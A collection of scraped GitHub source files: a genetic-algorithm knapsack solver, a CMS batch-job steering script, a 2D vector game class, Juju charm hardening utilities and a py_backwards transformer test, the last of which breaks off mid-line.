+{"seq_id":"7268423533","text":"import numpy as np\nimport time\nimport random\nimport matplotlib.pyplot as plt\nimport os\n\ndef read(data_file,i):\n    \"\"\"\n    读取txt文件\n    :param data_file:输入测试样例文件路径\n    :param i:样例i\n    :return: W：背包最大容量(int)；N：物品数量(int)；w：每件物品的重量(list);v：每件物品的价值(list)\n    \"\"\"\n    W = 0\n    N = 0\n    w = []\n    v = []\n    with open(data_file,'r') as f:\n        string = f.readlines()\n        for j in range(len(string)):\n            if string[j] == '(' + str(i) + ')' + ' \\n':\n                W = int(string[j+2].split(' ')[0])\n                N = int(string[j+2].split(' ')[1])\n                for k in range(1,N+1):\n                    w.append(int(string[j+k+2].split(' ')[0]))\n                    v.append(int(string[j+k+2].split(' ')[1]))\n    return W, N, w, v\n\nclass MyGA(object):\n    #类属性\n    cross_p = 0.6\n    variation_p = 0.2\n    pop_num = 100               #种群内个体数目\n    cross_num = int(pop_num/2)  #交叉的对数\n    #精英解参数\n    elite_num = 4               #精英解池的个数\n    elite_th = 0                #精英解池的最低门限\n    elite_min_index = 0         #精英解池 最小价值精英解的索引\n    #自适应参数\n    avg_fitness = 0\n    max_fitness = 0\n\n    #类方法\n    def __init__(self,W,N,w,v):\n        \"\"\"\n        初始化类的函数\n        :param W: 背包最大承重\n        :param N: 物品总数\n        :param w: 每件物品的重量\n        :param v: 每件物品的价值\n        \"\"\"\n        self.bag_max_w = W\n        self.N = N\n        self.w = w\n        self.v = v\n        #迭代的代数采用十倍的物品数量\n        self.generation = self.N*10\n        #定义一个元组，便于表达数组大小\n        self.shape =(self.pop_num,N)\n        #初始化种群，0的概率为0.9，1的概率为0.1，防止重量过大适应度减少为0\n        self.population = np.random.choice([0, 1], size=self.shape, p=[.9, .1])\n        #初始化价值存储数组\n        self.max_value_pre_gen = np.zeros(self.generation,dtype=np.int32)\n        #初始化精英解池\n        self.elite = np.zeros(shape=(self.elite_num,N),dtype=np.uint32)\n        #初始化精英解池的价值\n        self.elite_value = np.zeros(shape=self.elite_num,dtype=np.uint32)\n        #记录每一轮精英解池的最大值\n        self.max_value_elite = np.zeros(self.generation,dtype=np.int32)\n\n\n\n\n    def fitnessF(self):\n        \"\"\"\n        计算适应度的函数\n        :param self.population  :所有个体\n        :param self.v           :每件物品的价值\n        :param self.w           :每件物品的重量\n        :param self.bag_max_w   :背包最大承重\n        :param self.value       :当前每个个体背包内的价值\n        :param self.fitness     :当前每个个体的适应度\n        \"\"\"\n        #计算每个个体的价值\n        self.value = np.dot(self.population,self.v)\n        #计算每个个体的所带物品的重量\n        self.weight = self.population.dot(self.w)\n        self.fitness =self.value\n        #大于背包最大值的个体适应度清零\n        for i in range(self.pop_num):\n            if(self.weight[i]>=self.bag_max_w):\n                self.fitness[i] = 0\n        #计算平均适应度\n        self.avg_fitness = np.average(self.fitness)\n        self.max_fitness = np.max(self.fitness)\n\n\n\n    def select(self):\n        \"\"\"\n        用轮盘赌的方法确定子代个体\n        :param self.fitness     :当前每个个体的适应度\n        :param fitness_sum      :所有适应度的总和\n        :param cumulative_p     :累计概率\n        :param new_population   :新选出来的子代\n        引入精英解来共同产生子代\n        \"\"\"\n        #总和归一化\n        fitness_sum = np.sum(self.fitness)\n        select_p = self.fitness/fitness_sum\n        #计算累计概率\n        cumulative_p = np.zeros(shape=(self.pop_num,1),dtype=np.float64)\n        cumulative_p[0,0] = select_p[0]\n        for i in range(1,self.pop_num):\n            cumulative_p[i] = cumulative_p[i-1] + select_p[i]\n        #生成新的子代\n        new_population = np.zeros_like(self.population)\n\n        #子代个体生成的顺序\n        order = random.sample(range(self.pop_num),self.pop_num)\n        From_parent = order[0:self.pop_num-self.elite_num]\n        From_elite = order[self.pop_num-self.elite_num:]\n        #从父代中生成子代\n        for i in From_parent:\n            #轮盘赌的方法\n            rand_num = np.random.uniform()\n            for j,cum_val in enumerate(cumulative_p):\n                if(cum_val>rand_num):\n                    break\n            new_population[i,:] = self.population[j,:]\n        #从精英解池中获得子代\n        for index,value in enumerate(From_elite):\n            new_population[value,:] = self.elite[index,:]\n        #更新群体\n        self.population = new_population\n\n    def cross(self):\n        \"\"\"\n        进行交叉的函数\n        采用随机两个交叉位点 将中间段进行互换\n        \"\"\"\n        for i in range(self.cross_num):\n            #先判断要不要进行交叉\n            rand_num = np.random.uniform()\n            if(rand_num>self.cross_p):\n                continue\n            #产生两个随机的位置\n            cross_pos = np.sort(random.sample(range(0, self.N), 2))\n            #中间两端互换\n            section = self.population[2*i,cross_pos[0]:cross_pos[1]].copy()\n            self.population[2*i,cross_pos[0]:cross_pos[1]] = self.population[2*i+1,cross_pos[0]:cross_pos[1]]\n            self.population[2*i+1,cross_pos[0]:cross_pos[1]] = section\n\n    def variation(self):\n        '''\n        进行变异的函数\n        01翻转\n        '''\n        for i in range(self.pop_num):\n            #先判断要不要进行变异\n            rand_num = np.random.uniform()\n            if(rand_num>self.variation_p):\n                continue\n            #变异也只变一位，避免搜索空间过大\n            variation_pos = np.random.randint(self.N,dtype=np.uint8)\n            self.population[i,variation_pos] = np.mod(self.population[i,variation_pos]+1,2)\n\n    def record_best_individual(self,times):\n        #保存最大价值\n        self.max_value_pre_gen[times] = np.max(self.fitness)\n\n        #保存精英解中最大值\n        self.max_value_elite[times] =  np.max(self.elite_value)\n\n\n    def elite_renew(self):\n        for i in range(self.pop_num):\n            if(self.fitness[i]>self.elite_th):\n                #更新精英解池和精英解价值\n                self.elite[self.elite_min_index,:] = self.population[i,:]\n                self.elite_value[self.elite_min_index] = self.fitness[i]\n                #更新精英解池最小值的索引\n                index = np.argmin(self.elite_value)\n                #更新精英解池的最低门限的索引\n                self.elite_min_index = index\n                #更新精英解池的最低门限\n                self.elite_th = self.elite_value[index]\n\n    #分段的自适应交叉变异系数，本文件未使用此方法\n    def F_adapt(self,k,f_avg,f_max,x):\n        return k if x<=f_avg else k*(f_max-x)/(f_max-f_avg)\n\n\n\ndef GA(W,N,w,v,data_select,res_value):\n    \"\"\"\n    遗传算法解决0-1背包问题主函数\n    :param W: 背包最大承重\n    :param N: 物品总数\n    :param w: 每件物品的重量\n    :param v: 每件物品的价值\n    :param save_fig_path: 样例i的收敛曲线存储路径\n    :return: max_value:求解的放入背包的物品最大价值(int)；best_solu：放入背包的物品序号(list)\n    \"\"\"\n    #初始化\n    ga = MyGA(W,N,w,v)\n\n    for i in range(ga.generation):\n        #计算适应度函数\n        ga.fitnessF()\n        #更新精英解池\n        ga.elite_renew()\n        #交叉\n        ga.cross()\n        #变异\n        ga.variation()\n        #计算适应度函数\n        ga.fitnessF()\n        #更新精英解池\n        ga.elite_renew()\n        # #保留最大的价值\n        ga.record_best_individual(i)\n        #选择\n        ga.select()\n    #再次计算适应度函数\n    ga.fitnessF()\n    #找到最大价值\n    max_value = np.max(ga.fitness)\n    #找到最佳解决方案\n    best_solu = ga.population[np.argmax(ga.fitness),:]\n\n    #如果比历史最佳高，才保留图片\n    if(max_value>res_value):\n    #绘图\n        plt.clf()\n        plt.plot(ga.max_value_pre_gen)\n        plt.savefig(\"测试结果/result\"+str(data_select)+\".png\")\n\n    return max_value,best_solu\n\n\n\nif __name__ == '__main__':\n    data_file = \"实验代码/data.txt\"\n    #可以选择的数据种类\n    select_data_all = [1,2,3,4,5]\n    #终端输入选择的序号\n    data_select = int(input(\"请输入读取的文件序号(只输入单个数字即可):\"))\n    #终端输入迭代的次数\n    times = np.uint64(input(\"请输入迭代的次数(只输入数字即可):\"))\n    #判断输入是否合法\n    if(data_select not in select_data_all):\n        print(\"请输入 1 2 3 4 5 中的一个数字\")\n        exit(0)\n    #读取文件\n    W,N,w,v = read(data_file,data_select)\n    #测试文档的路径\n    test_path = \"测试结果/result\"+str(data_select)+\".txt\"\n    if(os.path.isfile(test_path)):#如果文件存在\n        fileHandler  =  open  (test_path,  \"r\",encoding ='utf-8')\n        #第六行保存着最佳值\n        line  =  fileHandler.readlines()[5]\n        #第六行第一个“：”后的数字就是历史最大价值\n        res_value = int(line.split('：')[1])\n    else:#如果文件不存在，则定义价值为-1\n        res_value = -1\n    #判断是否要写txt文件的标志位\n    new_write = 0\n    #开始循环\n    for j in range(times):\n        #计时开始\n        start_time = time.time()\n        #开始计算\n        max_value,best_solu = GA(W,N,w,v,data_select,res_value)\n        #计时结束\n        end_time = time.time()\n\n        #判断结果准确性\n        assert len(best_solu)==N,'物品的件数为%d，给出的方案长度应当与之匹配'%N\n        assert best_solu.dot(v)==max_value,'最大价值与给出的方案不匹配'\n        assert best_solu.dot(w)<W,'给出的方案超重'\n        print(\"装入背包的最大价值：{}\\n\".format(max_value))\n\n        #如果大于当前已知的值，则更新txt文档\n        if(max_value>res_value):\n            #保存参数\n            res_value = max_value\n            res_solu = best_solu\n            res_T = end_time-start_time\n            #写入标志位\n            new_write=1\n            print(\"出现更大的值\")\n    #写入txt文件\n    if(new_write==1):\n        with open(\"测试结果/result\"+str(data_select)+\".txt\",\"w\",encoding ='utf-8') as f:\n            f.write(\"背包最大承重：{}\\n\".format(W))\n\n            f.write(\"物品件数：{}\\n\".format(N))\n\n            f.write(\"每件物品的重量：[\")\n            for i in range(N-1):\n                f.write(\"{},\".format(w[i]))\n            f.write(\"{}]\\n\".format(w[N-1])) \n\n            f.write(\"每件物品的价值：[\")\n            for i in range(N-1):\n                f.write(\"{},\".format(v[i]))\n            f.write(\"{}]\\n\".format(v[N-1])) \n\n            f.write(\"收敛曲线存储的文件名：\"+\"result\"+str(data_select)+\".png\"+\"\\n\")\n\n            f.write(\"装入背包的最大价值：{}\\n\".format(res_value))\n\n            f.write(\"装入背包最大价值的最优物品组合：[\")\n            for i in range(N-1):\n                f.write(\"{},\".format(res_solu[i]))\n            f.write(\"{}]\\n\".format(res_solu[N-1])) \n\n            f.write(\"测试用时：{:.6f}s\\n\".format(res_T))        \n\n\n","repo_name":"littleBu0210/test","sub_path":"测试代码/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":11640,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"19516028415","text":"#!/usr/bin/env python3\n\nfrom createConfigFiles import *\n\n@timeit\ndef condor_control(original_dir =\"./SubmittedJobs/\" , JECVersions_Data=[\"Autumn18_V4\"], JetLabels=[\"AK4CHS\"], systematics=[\"\", \"PU\", \"JEC\", \"JER\"], internal_option=\"-l\", processes=[], extratext=\"\"):\n    count = 0\n    list_processes = []\n    nProcess = 48\n    time_ = 1\n    for newJECVersion in JECVersions_Data:\n        for newJetLabel in JetLabels:\n            for sys in systematics:\n                dirs = [\"\", \"up\", \"down\"]\n                for dir in dirs:\n                    if sys == \"\" and dir != \"\":\n                        continue\n                    if sys == \"JER\" and dir != \"\":\n                        continue\n                    if sys == \"JER\" and dir == \"\":\n                        dir = \"nominal\"\n                    path = original_dir+newJECVersion+\"/\"+newJetLabel+extratext+\"/\"+sys+\"/\"+dir+\"/\"\n                    for sample in sorted(os.listdir(path)):\n                        if not \".xml\" in sample:\n                            continue\n                        if all(not control in sample for control in processes): continue\n                        if internal_option:\n                            command = ['sframe_batch.py', internal_option, path+sample]\n                        else:\n                            command = ['sframe_batch.py', path+sample]\n                        command = [path]+command\n                        list_processes.append(command)\n                        if internal_option == \"-f\":\n                            nProcess = 20\n                        if internal_option == \"\":\n                            time_ = 0.5\n    print(len(list_processes))\n    parallelise(list_processes, nProcess, cwd=True, time_=time_)\n\n\n@timeit\ndef delete_workdir(original_dir =\"./SubmittedJobs/\" , JECVersions_Data=[\"Autumn18_V4\", \"Autumn18_V4\"], JetLabels=[\"AK4CHS\", \"AK8Puppi\"], systematics=[\"\", \"PU\", \"JEC\", \"JER\"],extratext=\"\"):\n    add_name = original_dir[original_dir.find(\"SubmittedJobs\")+len(\"SubmittedJobs\"):-1]\n    for sample in [\"DATA\", \"QCD\"]:\n        for newJECVersion in JECVersions_Data:\n            for newJetLabel in JetLabels:\n                for sys in systematics:\n                    dirs = [\"\", \"up\", \"down\"]\n                    for dir in dirs:\n                        if sys == \"\" and dir != \"\":\n                            continue\n                        if sys == \"JER\" and dir != \"\":\n                            continue\n                        if sys == \"JER\" and dir == \"\":\n                       \t    dir = \"nominal\"\n                        if 'PS' in sys:\n                            if 'DATA'==sample:\n                                continue\n                        path = userPathSframeOutput+\"/\"+newJECVersion+\"/\"+newJetLabel+extratext+\"/\"+sys+\"/\"+dir+\"/\"\n                        if os.path.isdir(path):\n                            for workdir in sorted(os.listdir(path)):\n                                if \"workdir\" in workdir:\n                                    cmd = \"rm -fr %s\" % (path+workdir)\n                                    a = os.system(cmd)\n                                    print(cmd)\n                        path = original_dir+newJECVersion+\"/\"+newJetLabel+extratext+\"/\"+sys+\"/\"+dir+\"/\"\n                        if os.path.isdir(path):\n                            for workdir in sorted(os.listdir(path)):\n                                if \"workdir\" in workdir:\n                                    cmd = \"rm -fr %s\" % (path+workdir)\n                                    a = os.system(cmd)\n\n\n\n\ndef main_program(option=\"\", internal_option=\"\", study=\"Standard\", processes=[], others=[], JECVersions_Data=[], JECVersions_MC=[], JetLabels=[], systematics=[], original_dir=\"./SubmittedJobs/\", original_file=\"JER2018.xml\", year=\"2018\", isMB=False, test_trigger=False, isThreshold=False, isLowPt=False, isECAL=False, extratext=\"\"):\n    if option == \"new\":\n        createConfigFiles(study, processes, others, JECVersions_Data, JECVersions_MC, JetLabels, systematics, original_dir, original_file, outdir, year, isMB, test_trigger, isThreshold,isLowPt,isECAL,extratext)\n    elif option == \"remove\" or option == \"delete\":\n        delete_workdir(original_dir, JECVersions_Data, JetLabels, systematics, extratext)\n    else:\n        condor_control(original_dir, JECVersions_Data, JetLabels, systematics, internal_option, processes, extratext)\n\n\n\n##################################################\n#                                                #\n#                   MAIN Program                 #\n#                                                #\n##################################################\n\nUSER = os.environ[\"USER\"]\n\ntry:\n    option = sys.argv[1]\nexcept:\n    option = \"\"\n\nif option == \"resubmit\":\n    internal_option = \"-r\"\nelif option == \"submit\":\n    internal_option = \"-s\"\nelif option == \"add\" or option == \"merge\":\n    internal_option = \"-f\"\nelif option == \"list\":\n    internal_option = \"-l\"\nelif option == \"new\":\n    internal_option = \"\"\nelif option == \"remove\" or option == \"delete\":\n    internal_option = \"\"\nelif option == \"split\":\n    internal_option = \"\"\nelse:\n    internal_option = \"\"\n\n\nQCD_process= []\nData_process= []\n\nQCD_process.append(\"QCDHT50to100_2018\")\nQCD_process.append(\"QCDHT100to200_2018\")\nQCD_process.append(\"QCDHT200to300_2018\")\nQCD_process.append(\"QCDHT300to500_2018\")\nQCD_process.append(\"QCDHT500to700_2018\")\nQCD_process.append(\"QCDHT700to1000_2018\")\nQCD_process.append(\"QCDHT1000to1500_2018\")\nQCD_process.append(\"QCDHT1500to2000_2018\")\nQCD_process.append(\"QCDHT2000toInf_2018\")\nData_process.append(\"DATA_RunA_2018\")\nData_process.append(\"DATA_RunB_2018\")\nData_process.append(\"DATA_RunC_2018\")\nData_process.append(\"DATA_RunD_2018\")\n\nQCD_process.append(\"QCDHT50to100_UL16preVFP\")\nQCD_process.append(\"QCDHT100to200_UL16preVFP\")\nQCD_process.append(\"QCDHT200to300_UL16preVFP\")\nQCD_process.append(\"QCDHT300to500_UL16preVFP\")\nQCD_process.append(\"QCDHT500to700_UL16preVFP\")\nQCD_process.append(\"QCDHT700to1000_UL16preVFP\")\nQCD_process.append(\"QCDHT1000to1500_UL16preVFP\")\nQCD_process.append(\"QCDHT1500to2000_UL16preVFP\")\nQCD_process.append(\"QCDHT2000toInf_UL16preVFP\")\nQCD_process.append(\"QCDHT50to100_UL16postVFP\")\nQCD_process.append(\"QCDHT100to200_UL16postVFP\")\nQCD_process.append(\"QCDHT200to300_UL16postVFP\")\nQCD_process.append(\"QCDHT300to500_UL16postVFP\")\nQCD_process.append(\"QCDHT500to700_UL16postVFP\")\nQCD_process.append(\"QCDHT700to1000_UL16postVFP\")\nQCD_process.append(\"QCDHT1000to1500_UL16postVFP\")\nQCD_process.append(\"QCDHT1500to2000_UL16postVFP\")\nQCD_process.append(\"QCDHT2000toInf_UL16postVFP\")\nData_process.append(\"DATA_RunB_UL16preVFP\")\nData_process.append(\"DATA_RunC_UL16preVFP\")\nData_process.append(\"DATA_RunD_UL16preVFP\")\nData_process.append(\"DATA_RunE_UL16preVFP\")\nData_process.append(\"DATA_RunF_UL16preVFP\")\nData_process.append(\"DATA_RunF_UL16postVFP\")\nData_process.append(\"DATA_RunG_UL16postVFP\")\nData_process.append(\"DATA_RunH_UL16postVFP\")\n\n\nQCD_process.append(\"QCDHT50to100_UL17\")\nQCD_process.append(\"QCDHT100to200_UL17\")\nQCD_process.append(\"QCDHT200to300_UL17\")\nQCD_process.append(\"QCDHT300to500_UL17\")\nQCD_process.append(\"QCDHT500to700_UL17\")\nQCD_process.append(\"QCDHT700to1000_UL17\")\nQCD_process.append(\"QCDHT1000to1500_UL17\")\nQCD_process.append(\"QCDHT1500to2000_UL17\")\nQCD_process.append(\"QCDHT2000toInf_UL17\")\nQCD_process.append(\"QCDPt15to30_UL17\")\nQCD_process.append(\"QCDPt30to50_UL17\")\nQCD_process.append(\"QCDPt50to80_UL17\")\nQCD_process.append(\"QCDPt80to120_UL17\")\nQCD_process.append(\"QCDPt120to170_UL17\")\nQCD_process.append(\"QCDPt170to300_UL17\")\nQCD_process.append(\"QCDPt300to470_UL17\")\nQCD_process.append(\"QCDPt470to600_UL17\")\nQCD_process.append(\"QCDPt600to800_UL17\")\nQCD_process.append(\"QCDPt800to1000_UL17\")\nQCD_process.append(\"QCDPt1000to1400_UL17\")\nQCD_process.append(\"QCDPt1400to1800_UL17\")\nQCD_process.append(\"QCDPt1800to2400_UL17\")\nQCD_process.append(\"QCDPt2400to3200_UL17\")\nQCD_process.append(\"QCDPt3200toInf_UL17\")\nData_process.append(\"DATA_RunB_UL17\")\nData_process.append(\"DATA_RunC_UL17\")\nData_process.append(\"DATA_RunD_UL17\")\nData_process.append(\"DATA_RunE_UL17\")\nData_process.append(\"DATA_RunF_UL17\")\n\n\n\nQCD_process.append(\"QCDHT50to100_UL18\")\nQCD_process.append(\"QCDHT100to200_UL18\")\nQCD_process.append(\"QCDHT200to300_UL18\")\nQCD_process.append(\"QCDHT300to500_UL18\")\nQCD_process.append(\"QCDHT500to700_UL18\")\nQCD_process.append(\"QCDHT700to1000_UL18\")\nQCD_process.append(\"QCDHT1000to1500_UL18\")\nQCD_process.append(\"QCDHT1500to2000_UL18\")\nQCD_process.append(\"QCDHT2000toInf_UL18\")\nData_process.append(\"DATA_RunA_UL18\")\nData_process.append(\"DATA_RunB_UL18\")\nData_process.append(\"DATA_RunC_UL18\")\nData_process.append(\"DATA_RunD_UL18\")\n\n\n# JECVersions_Data = [\"Autumn18_V4\"]\n# JetLabels = [\"AK4CHS\", \"AK8Puppi\"]\n# systematics = [\"\", \"PU\", \"JEC\", \"JER\"]\n\n# year = \"2018\"\n# year = \"UL16preVFP\"\n# year = \"UL16postVFP\"\nyear = \"UL17\"\n# year = \"UL18\"\n\n\nstudies = []\n# studies.append(\"Standard\")\n# studies.append(\"L1L2Residual\")\n# studies.append(\"L1L2\")\n# studies.append(\"eta_JER\")\nstudies.append(\"eta_common\")\n# studies.append(\"eta_common\")\n# studies.append(\"eta_L2R\")\n# studies.append(\"eta_narrow\")\n#studies.append(\"eta_simple\")\n\nprint(\"Running for: \", studies)\ntime.sleep(2)\n\n# outdir = \"DiJetJERC_DiJetHLT\"\noutdir = \"DiJetJERC_DiJetHLT\"\noriginal_file = outdir+\".xml\"\noriginal_dir_ = os.getcwd()\n\n\n# QCDSamples = [\"QCDPt\",\"QCDHT\", \"DATA\"]\n# QCDSamples = [\"QCDHT\", \"DATA\"]\n# QCDSamples = [\"DATA\"]\nQCDSamples = [\"QCDHT\"]\nprocesses = list(filter( lambda sample: year in sample and any(QCD in sample for QCD in QCDSamples) , QCD_process+Data_process))\nothers = list(set(QCD_process+Data_process)-set(processes))\n\nJECVersions_Data = {}\nJECVersions_MC = {}\n\nJECVersions_Data[\"UL16preVFP\"]  = [\"Summer20UL16APV_V2\"]\nJECVersions_MC[\"UL16preVFP\"]    = [\"Summer20UL16APV_V2\"]\nJECVersions_Data[\"UL16postVFP\"] = [\"Summer20UL16_V2\"]\nJECVersions_MC[\"UL16postVFP\"]   = [\"Summer20UL16_V2\"]\nJECVersions_Data[\"UL17\"]        = [\"Summer20UL17_V2\"]\nJECVersions_MC[\"UL17\"]          = [\"Summer20UL17_V2\"]\nJECVersions_Data[\"UL18\"]        = [\"Summer20UL18_V2\"]\nJECVersions_MC[\"UL18\"]          = [\"Summer20UL18_V2\"]\n# JECVersions_Data[\"UL18\"]        = [\"Summer20UL18_V1\"]\n# JECVersions_MC[\"UL18\"]          = [\"Summer20UL18_V1\"]\n\n# JECVersions_Data[\"UL18\"]        = [\"Summer19UL18_V5\"]\n# JECVersions_MC[\"UL18\"]          = [\"Summer19UL18_V5\"]\n\n# JetLabels = [\"AK4CHS\", \"AK4Puppi\", \"AK8CHS\", \"AK8Puppi\"]\n# JetLabels = [\"AK4Puppi_v11\"]\nJetLabels = [\"AK4Puppi\"]\n# JetLabels = [\"AK4CHS\", \"AK4Puppi\"]\n# JetLabels = [\"AK8Puppi\", \"AK4Puppi\"]\n# JetLabels = [ \"AK8Puppi\"]\n# systematics = [\"\", \"PU\", \"JEC\", \"JER\"]\n# systematics = [\"\", \"PU\", \"JEC\", \"Prefire\"]\n# systematics = [\"PU\", \"JEC\", \"Prefire\", \"PS\"]\n#systematics = [\"PU\", \"JEC\"]\n# systematics = [\"PS\"]\nsystematics = [\"\"]\n\nprint(year,studies, QCDSamples, JECVersions_Data[year], JetLabels, systematics)\n\nfor study in studies:\n\n    userPathSframeOutput=\"/nfs/dust/cms/user/\"+USER+\"/sframe_all/\"+outdir+\"/\"+year+\"/\"+study+\"/\"\n\n    original_dir = original_dir_\n    original_dir += \"/SubmittedJobs/\"+year+\"/\"+study+\"/\"\n\n    main_program(option, internal_option, study, processes, others, JECVersions_Data[year], JECVersions_MC[year], JetLabels, systematics, original_dir, original_file, year)\n","repo_name":"UHH2/DiJetJERC","sub_path":"conf/steer.py","file_name":"steer.py","file_ext":"py","file_size_in_byte":11208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"7860430493","text":"\nimport math\nimport config\n\nclass Object:\n    def __init__(self):\n        self.pos = [1.0,0.0]\n        self.v = [1.0,0.0]\n        self.mass = 0\n        self.speed = 10\n        self.renderpos = [0,0]\n        self.w_2 = config.screen_width/2\n        self.h_2 = config.screen_height/2\n\n    def norm(self,x):\n        return math.sqrt(x[0]**2 + x[1]**2)\n\n    def add_vec(self, a, b):\n        return [a[0]+b[0],a[1]+b[1]]\n\n    def sub_vec(self,a,b):\n        return [a[0] - b[0], a[1] - b[1]]\n\n    def multiply(self,cons,x):\n        return [cons*x[0],cons*x[1]]\n\n    def dot(self,a,b):\n        return a[0]*b[0]+a[1]*b[1]\n\n    def angle_2vec(self, a, b):\n        dot = self.dot(a,b)\n        mag_a = self.norm(a)\n        mag_b = self.norm(b)\n        t = dot / (mag_a * mag_b)\n        if(t>1):\n            return 0\n        return math.acos(t)\n\n    def renderPosition(self,ref,):\n        self.renderpos = [self.pos[0] - ref[0],self.pos[1] - ref[1]]\n        self.renderpos[0] += self.w_2\n        self.renderpos[1] += self.h_2\n\n    def unit(self, x):\n        n = self.norm(x)\n        if n!=0:\n            return [x[0]/n,x[1]/n]\n        else:\n            return [0,0]\n\n    def calculate_angle(self,x):\n        n = self.norm(x)\n        t = math.atan(x[1]/x[0])\n        a = math.fabs(math.degrees(t))\n        if x[0] >= 0:\n            if x[1]>=0:\n                return a\n            else:\n                return -a\n        else:\n            if x[1]>=0:\n                return 180-a\n            else:\n                return a-180\n\n","repo_name":"rushi1222/skywars","sub_path":"source/object.py","file_name":"object.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"5473612403","text":"import glob\nimport grp\nimport os\nimport pwd\nimport six\nimport yaml\n\nfrom charmhelpers.core.hookenv import (\n    log,\n    DEBUG,\n    INFO,\n    WARNING,\n    ERROR,\n)\n\n\n# Global settings cache. Since each hook fire entails a fresh module import it\n# is safe to hold this in memory and not risk missing config changes (since\n# they will result in a new hook fire and thus re-import).\n__SETTINGS__ = {}\n\n\ndef _get_defaults(modules):\n    \"\"\"Load the default config for the provided modules.\n\n    :param modules: stack modules config defaults to lookup.\n    :returns: modules default config dictionary.\n    \"\"\"\n    default = os.path.join(os.path.dirname(__file__),\n                           'defaults/%s.yaml' % (modules))\n    return yaml.safe_load(open(default))\n\n\ndef _get_schema(modules):\n    \"\"\"Load the config schema for the provided modules.\n\n    NOTE: this schema is intended to have 1-1 relationship with they keys in\n    the default config and is used a means to verify valid overrides provided\n    by the user.\n\n    :param modules: stack modules config schema to lookup.\n    :returns: modules default schema dictionary.\n    \"\"\"\n    schema = os.path.join(os.path.dirname(__file__),\n                          'defaults/%s.yaml.schema' % (modules))\n    return yaml.safe_load(open(schema))\n\n\ndef _get_user_provided_overrides(modules):\n    \"\"\"Load user-provided config overrides.\n\n    :param modules: stack modules to lookup in user overrides yaml file.\n    :returns: overrides dictionary.\n    \"\"\"\n    overrides = os.path.join(os.environ['JUJU_CHARM_DIR'],\n                             'hardening.yaml')\n    if os.path.exists(overrides):\n        log(\"Found user-provided config overrides file '%s'\" %\n            (overrides), level=DEBUG)\n        settings = yaml.safe_load(open(overrides))\n        if settings and settings.get(modules):\n            log(\"Applying '%s' overrides\" % (modules), level=DEBUG)\n            return settings.get(modules)\n\n        log(\"No overrides found for '%s'\" % (modules), level=DEBUG)\n    else:\n        log(\"No hardening config overrides file '%s' found in charm \"\n            \"root dir\" % (overrides), level=DEBUG)\n\n    return {}\n\n\ndef _apply_overrides(settings, overrides, schema):\n    \"\"\"Get overrides config overlayed onto modules defaults.\n\n    :param modules: require stack modules config.\n    :returns: dictionary of modules config with user overrides applied.\n    \"\"\"\n    if overrides:\n        for k, v in six.iteritems(overrides):\n            if k in schema:\n                if schema[k] is None:\n                    settings[k] = v\n                elif type(schema[k]) is dict:\n                    settings[k] = _apply_overrides(settings[k], overrides[k],\n                                                   schema[k])\n                else:\n                    raise Exception(\"Unexpected type found in schema '%s'\" %\n                                    type(schema[k]), level=ERROR)\n            else:\n                log(\"Unknown override key '%s' - ignoring\" % (k), level=INFO)\n\n    return settings\n\n\ndef get_settings(modules):\n    global __SETTINGS__\n    if modules in __SETTINGS__:\n        return __SETTINGS__[modules]\n\n    schema = _get_schema(modules)\n    settings = _get_defaults(modules)\n    overrides = _get_user_provided_overrides(modules)\n    __SETTINGS__[modules] = _apply_overrides(settings, overrides, schema)\n    return __SETTINGS__[modules]\n\n\ndef ensure_permissions(path, user, group, permissions, maxdepth=-1):\n    \"\"\"Ensure permissions for path.\n\n    If path is a file, apply to file and return. If path is a directory,\n    apply recursively (if required) to directory contents and return.\n\n    :param user: user name\n    :param group: group name\n    :param permissions: octal permissions\n    :param maxdepth: maximum recursion depth. A negative maxdepth allows\n                     infinite recursion and maxdepth=0 means no recursion.\n    :returns: None\n    \"\"\"\n    if not os.path.exists(path):\n        log(\"File '%s' does not exist - cannot set permissions\" % (path),\n            level=WARNING)\n        return\n\n    _user = pwd.getpwnam(user)\n    os.chown(path, _user.pw_uid, grp.getgrnam(group).gr_gid)\n    os.chmod(path, permissions)\n\n    if maxdepth == 0:\n        log(\"Max recursion depth reached - skipping further recursion\",\n            level=DEBUG)\n        return\n    elif maxdepth > 0:\n        maxdepth -= 1\n\n    if os.path.isdir(path):\n        contents = glob.glob(\"%s/*\" % (path))\n        for c in contents:\n            ensure_permissions(c, user=user, group=group,\n                               permissions=permissions, maxdepth=maxdepth)\n","repo_name":"ChrisMacNaughton/charms.hardening","sub_path":"charms_hardening/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4609,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"39475502838","text":"import pytest\nfrom py_backwards.transformers.return_from_generator import ReturnFromGeneratorTransformer\n\n\n@pytest.mark.parametrize('before, after', [\n    ('''\ndef fn():\n    yield 1\n    return 5\n    ''', '''\ndef fn():\n    (yield 1)\n    _py_backwards_exc_0 = StopIteration()\n    _py_backwards_exc_0.value = 5\n    raise _py_backwards_exc_0\n    '''),\n    ('''\ndef fn():\n    if True:\n        x = yield from [1]\n    return 5\n    ''', '''\ndef fn():\n    if True:\n        x = (yield from [1])\n    _py_backwards_exc_0 = StopIteration()\n    _py_backwards_exc_0.value = 5\n    raise _py_backwards_exc_0\n    ''')])\ndef test_transform(transform, ast, before, after):\n    code = transform(ReturnFromGeneratorTransformer, before)\n    assert ast(code) == ast(after)\n\n\nget_value = '''\ngen = fn()\nnext(gen)\nval = None\ntry:\n    next(gen)\nexcept StopIteration as e:\n    val = e.value\nval\n'''\n\n\n@pytest.mark.parametrize('code, result', [\n    ('''\ndef fn():\n    yield 1\n    return 5\n{}\n    '''.format(get_value), 5),\n    ('''\ndef fn():\n    yield from [1]\n    return 6\n{}\n    '''.format(get_value), 6),\n    ('''\ndef fn():\n    x = yield 1\n    return 7\n{}\n    '''.format(get_value), 7),\n    ('''\ndef fn():\n    x = yield from [1]\n    return 8\n{}\n    '''.format(get_value), 8)])\ndef test_run(run_transformed, code, result):\n    assert run_transformed(ReturnFromGeneratorTransformer, code) == 